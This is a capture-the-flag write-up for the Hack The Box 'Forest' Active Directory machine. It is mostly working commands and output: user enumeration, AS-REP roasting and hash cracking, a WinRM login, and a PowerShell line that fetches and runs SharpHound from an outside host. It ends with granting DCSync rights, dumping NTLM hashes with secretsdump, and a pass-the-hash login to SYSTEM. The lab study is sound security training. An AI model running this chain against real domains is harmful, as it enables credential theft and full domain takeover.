

Forest hack the box machine – writeup

Ip 10.10.10.161

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Give respect: <https://www.hackthebox.eu/home/users/profile/49841>

First we start enumeration:

Nmap:

- nmap -sC -sV 10.10.10.161

```
Starting Nmap 7.60 ( https://nmap.org ) at 2019-11-03 10:38 IST
Nmap scan report for 10.10.10.161
Host is up (0.091s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2019-11-03 08:45:53Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: 6m48s, deviation: 0s, median: 6m48s
|_ smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_ System time: 2019-11-03T01:46:00-07:00
|_ smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: required
|_ smb2-security-mode:
|   2.02:
|       Message signing enabled and required
|_ smb2-time:
|   date: 2019-11-03 10:46:02
|_ start_date: 2019-11-03 10:41:40

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.45 seconds
```

Plan attack path:

we can see this is an active directory domain environment (htb.local) windows server 2016.

- Enumerate dns (53)
- Enumerate msrpc,smb (135,445) – maybe we can pull users and or open shares
- Enumerate ldap (389,3268,3269) – maybe we can pull users,email,passwords
- Enumerate kerberos (88)

Dns Enumeration – using nslookup: zone transfer

```
root@kali:~/Desktop/hackthebox/forest# nslookup
> server 10.10.10.161
Default server: 10.10.10.161
Address: 10.10.10.161#53
> 127.0.0.1
1.0.0.127.in-addr.arpa  name = localhost.
> htb.local
Server:          10.10.10.161
Address:         10.10.10.161#53

Name:   htb.local
Address: 10.10.10.161
> set q=AXFR
> //htb.local
Server:          10.10.10.161
Address:         10.10.10.161#53

** server can't find //htb.local: NXDOMAIN
; Transfer failed.
> //forest.htb.local
Server:          10.10.10.161
Address:         10.10.10.161#53

** server can't find //forest.htb.local: NXDOMAIN
; Transfer failed.
> █
```

Smb Enumeration – using smbmap and smbclient

- Check for open shares:

```
root@kali:~/Desktop/hackthebox/forest# smbmap -H 10.10.10.161
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.161...
[+] IP: 10.10.10.161:445      Name: 10.10.10.161
    Disk                               Permissions
    ----                               -
[!] Access Denied
root@kali:~/Desktop/hackthebox/forest# smbclient -L \\10.10.10.161 -N
Anonymous login successful

    Sharename      Type      Comment
    -----
smbcli_req_writev_submit: called for dialect[SMB3_11] server[10.10.10.161]
Error returning browse list: NT_STATUS_REVISION_MISMATCH
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
```

- We don't have any open shares without creds, lets continue to RPC:

```
root@kali:~/Desktop/hackthebox/forest# rpcclient -U "" 10.10.10.161 -N
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $> █
```

we can see that we **successfully** enumerated a list of users using rpcclient !!!
the next step will be trying to get a password to one of those users. Maybe
ldap can give us something.

Ldap Enumeration – using nmap script (ldap-search)

[illegible]


Ldap didn't gave anything new only some email accounts that we already have. We still need a password to one of the users lets check kerberos.

Kerberos Enumeration

AS-REP-Roasting

AS-REP Roasting is an attack against Kerberos for user accounts that do not require preauthentication when requesting a TGT.

The attacker can make KRB_AS_REQ [1] without authentication and get KRB_AS_REP(TGT) [2] which includes the user password hash.



Performing AS-REP Roasting with GetNPUsers (part of the impacket tool kit):

What we need:

- list of usernames to check (we have it from rpcclient)
- ip of the server (10.10.10.161)

```
root@kali:~/Desktop/hackthebox/forest# GetNPUsers.py htb.local/ -usersfile names.txt -format john -dc-ip 10.10.10.161
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
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[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailbox3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$svc-alfresco@HTB.LOCAL:62f8485e97e1b531217c6be6fafeeab2$6a4807d9cd429190198f9b9d901b5e7de41f9a586a21c5113cc4e34fa112d2540330be119c5a7b4ba17bbde73e8b196e8360995cbffa8
aa83ba4a99283d85b536083fa97da3f3d083061d3fa7d47acfb8e89f513b16ea4e889839e45c6f088b5c07ddf469016e8a27529c6b5238cdcd436ff1ec3d3a7eddfbab8eebe4107a187a905f0182b0996881623c4f762e25
d6c3bbfa47c07c562f41ca8ebe025bad584abf680c26186855a9373ad13518ec9a5f815381690cbb8cf174338a31e75c2f8f2f85590f77779ea685503988b066b5a54e75e8bb7c96f163f38b994553bbe92546dda
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
```

we got svc-alfresco hash in john the ripper compatible format ! Lets crack it.

Cracking the hash – using john with rockyou wordlist

```
root@kali:~/Desktop/hackthebox/forest# john --wordlist=/usr/share/wordlists/rockyou.txt hash.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$svc-alfresco@HTB.LOCAL)
lg 0:00:00:04 DONE (2019-11-19 13:01) 0.2028g/s 828754p/s 828754c/s 828754C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

hash has been cracked and we got the password “s3rvice”
svc-alfresco:s3rvice

Going back to the nmap we can try using those creds in smb:

```
root@kali:~/Desktop/hackthebox/forest# smbmap -H 10.10.10.161 -u svc-alfresco -p s3rvice
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.161...
[+] IP: 10.10.10.161:445      Name: 10.10.10.161

Disk                                     Permissions
----                                     -
ADMIN$                                  NO ACCESS
C$                                      NO ACCESS
IPC$                                    READ ONLY
NETLOGON                               READ ONLY
SYSVOL                                 READ ONLY
```

we only have READ ONLY we need a way to connect to the server with the creds we have.

Lets go back to do some more enumeration.

Nmap – scan all ports

```
root@kali:~/Desktop/hackthebox/forest# nmap -p- -T5 10.10.10.161 > nmap.allPorts
root@kali:~/Desktop/hackthebox/forest# cat nmap.allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 13:04 IST
Warning: 10.10.10.161 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.161
Host is up (0.11s latency).
Not shown: 65511 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp   open  globalcatLDAP
3269/tcp   open  globalcatLDAPssl
5985/tcp   open  wsman
9389/tcp   open  adws
47001/tcp  open  winrm
49664/tcp  open  unknown
49665/tcp  open  unknown
49666/tcp  open  unknown
49667/tcp  open  unknown
49672/tcp  open  unknown
49676/tcp  open  unknown
49677/tcp  open  unknown
49684/tcp  open  unknown
49698/tcp  open  unknown
49717/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 135.30 seconds
```

We can see port 5985 is open so we can use WinRM to connect to the box.
Let's use a tool called EvilWinRM- <https://github.com/Hackplayers/evil-winrm>

```
root@kali:/opt/evil-winrm# ruby evil-winrm.rb -i 10.10.10.161 -u svc-alfresco -p s3rvice
Evil-WinRM shell v1.8

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ls
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd ..
*Evil-WinRM* PS C:\Users\svc-alfresco> cd Desktop
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> ls

    Directory: C:\Users\svc-alfresco\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---           9/23/2019   2:16 PM           32 user.txt

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> 
```

we can see that we are on the box and we can read the user flag.

Privilege Escalation

net user svc-alfresco -

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user svc-alfresco
User name                svc-alfresco
Full Name                svc-alfresco
Comment
User's comment
Country/region code      000 (System Default)
Account active            Yes
Account expires           Never

Password last set        11/19/2019 3:42:27 AM
Password expires         Never
Password changeable       11/20/2019 3:42:27 AM
Password required         Yes
User may change password  Yes

Workstations allowed      All
Logon script
User profile
Home directory
Last logon                11/19/2019 3:18:14 AM

Logon hours allowed       All

Local Group Memberships
Global Group memberships  *Domain Users           *Service Accounts
The command completed successfully.
```

we are a member in Domain Users and Service Accounts.

doing net groups -

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net groups

Group Accounts for \\

-----
*$D31000-NSEL5BRJ63V7
*Cloneable Domain Controllers
*Compliance Management
*Delegated Setup
*Discovery Management
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Exchange Servers
*Exchange Trusted Subsystem
*Exchange Windows Permissions
*ExchangeLegacyInterop
*Group Policy Creator Owners
*Help Desk
*Hygiene Management
*Key Admins
*Managed Availability Servers
*Organization Management
*Privileged IT Accounts
*Protected Users
*Public Folder Management
*Read-only Domain Controllers
*Recipient Management
*Records Management
*Schema Admins
*Security Administrator
*Security Reader
*Server Management
*Service Accounts
*test
*UM Management
*View-Only Organization Management
```

we see:

- Exchange Servers
- Exchange Trusted Subsystem
- Exchange Windows Permissions

Runing Bloodhound:

you can check this article on bloodhound and how to run it:

<https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux>

upload The SharpHound.ps1 script to the windows machine:


```
iex(new-object net.webclient).DownloadString('http://x.x.x.x/SharpHound.ps1')
```

run:

```
Invoke-Bloodhound -CollectionMethod All -Domain htb.local -LdapUser svc-alfresco -LDAPPass s3rvic
```

download the zip file to your machine and feed it to bloodhound.

bloodhound output from svc-alfresco to domain admin



we can see the “Exchange Windows Permission” group has WriteDacl permission on the domain object in Active Directory, the outcome is that every member of this group can modify the domain privileges. One of those is the privilege to perform DCSync operations. And this is why we see this as our attack path in bloodhound.

Dirk-jan Mollema wrote a very good article on Abusing Exchange: One API call away from Domain Admin.

<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>

“The main vulnerability is that Exchange has high privileges in the Active Directory domain.”

we can use the tools that he shows in the article but I am going to use a tool called aclpwn.py

<https://github.com/fox-it/aclpwn.py>

AcIpwn.py is a tool that interacts with BloodHound to identify and exploit ACL based privilege escalation paths. It takes a starting and ending point and will use Neo4j pathfinding algorithms to find the most efficient ACL based privilege escalation path.

Attacking using acIpwn.py

```
root@kali:~/Desktop/hackthebox/forest# acIpwn -f svc-alfresco -ft user -t htb.local -tt domain -d htb.local -dp root -s 10.10.10.161
Please supply the password or LM:NTLM hashes of the account you are escalating from:
[!] Unsupported operation: GenericAll on EXCH01.HTB.LOCAL (Computer)
[-] Invalid path, skipping
[!] Unsupported operation: GetChanges on HTB.LOCAL (Domain)
[-] Invalid path, skipping
[+] Path found!
Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
[+] Path found!
Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
Please choose a path [0-1] 1
[-] MemberOf -> continue
[-] MemberOf -> continue
[-] MemberOf -> continue
[-] Adding user SVC-ALFRESCO to group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
[+] Added CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local as member to CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
[-] Re-binding to LDAP to refresh group memberships of SVC-ALFRESCO@HTB.LOCAL
[+] Re-bind successful
[-] Modifying domain DACL to give DCSync rights to SVC-ALFRESCO
[+] Dacl modification successful
[+] Finished running tasks
[+] Saved restore state to acIpwn-20191119-143931.restore
```

we now have DCSync rights to svc-alfresco and we can use impacket secretsdump.py to do so and get the ntlm hash of the administrator.

```
root@kali:~/Desktop/hackthebox/forest# secretsdump.py -just-dc htb.local/svc-alfresco@10.10.10.161
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
```

Using psexec to login with the administrator hash:

```
root@kali:~/Desktop/hackthebox/forest# psexec.py htb.local/Administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file VAYOUdZI.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service pzcV on 10.10.10.161.....
[*] Starting service pzcV.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```

pwned!